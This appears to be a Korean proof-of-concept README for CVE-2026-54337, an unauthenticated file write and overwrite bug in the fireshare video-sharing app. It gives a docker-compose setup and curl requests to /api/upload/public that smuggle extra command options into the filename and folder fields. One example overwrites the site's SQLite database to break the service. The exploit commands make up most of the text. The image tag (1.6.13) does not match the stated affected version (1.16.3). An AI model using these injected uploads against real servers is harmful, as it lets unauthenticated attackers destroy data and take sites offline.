
CVE-2026-54337 - fireshare <= 1.16.3에 대한 인증되지 않은 파일 쓰기/덮어쓰기 PoC
CVE-2026-54337 - fireshare <= 1.16.3에서의 인증되지 않은 파일 쓰기/덮어쓰기 PoC
자세한 내용은 이 GitHub 보안 권고를 참조하세요.
docker-compose.yml을 사용하세요.services:
fireshare:
container_name: fireshare-temp
image: shaneisrael/fireshare:1.6.13-lite
ports:
- "8082:80"
# 임시 저장소 (컨테이너 중지 시 폐기)
tmpfs:
- /data
- /processed
- /videos
- /images
environment:
- ADMIN_USERNAME=admin
- ADMIN_PASSWORD=admin123
- SECRET_KEY=fireshare-super-secret-random-key
- DOMAIN=
- PUID=1000
- PGID=1000
restart: unless-stopped
.mp4 확장자로 이름을 지정하기만 하면 어떤 파일이든 생성합니다. 예:$ echo 123 > test.mp4
$ curl -s -w "HTTP %{http_code}\n" \
-F "file=@<FILEPATH>;filename=<덮어쓰기/쓰기할 파일> -select_streams v.mp4" \
-F "folder=testfolder -o <파일을 넣을 디렉토리>" \
http://<URL>/api/upload/public
예를 들어, /data/db.sqlite를 덮어쓰려면 명령을 다음과 같이 변경합니다.
$ curl -s -w "HTTP %{http_code}\n" \
-F "file=@<FILEPATH>;filename=db.sqlite -select_streams v.mp4" \
-F "folder=testfolder -o data" \
http://<URL>/api/upload/public
nginx 사용자로 실행되며, 이 사용자는 /data, /processed, /images, /videos에만 접근 권한이 있으므로 해당 디렉토리에만 쓰기/덮어쓰기가 가능합니다./data/db.sqlite를 덮어쓰는 것이 가장 큰 영향을 미치며, 웹사이트를 사용할 수 없게 만듭니다.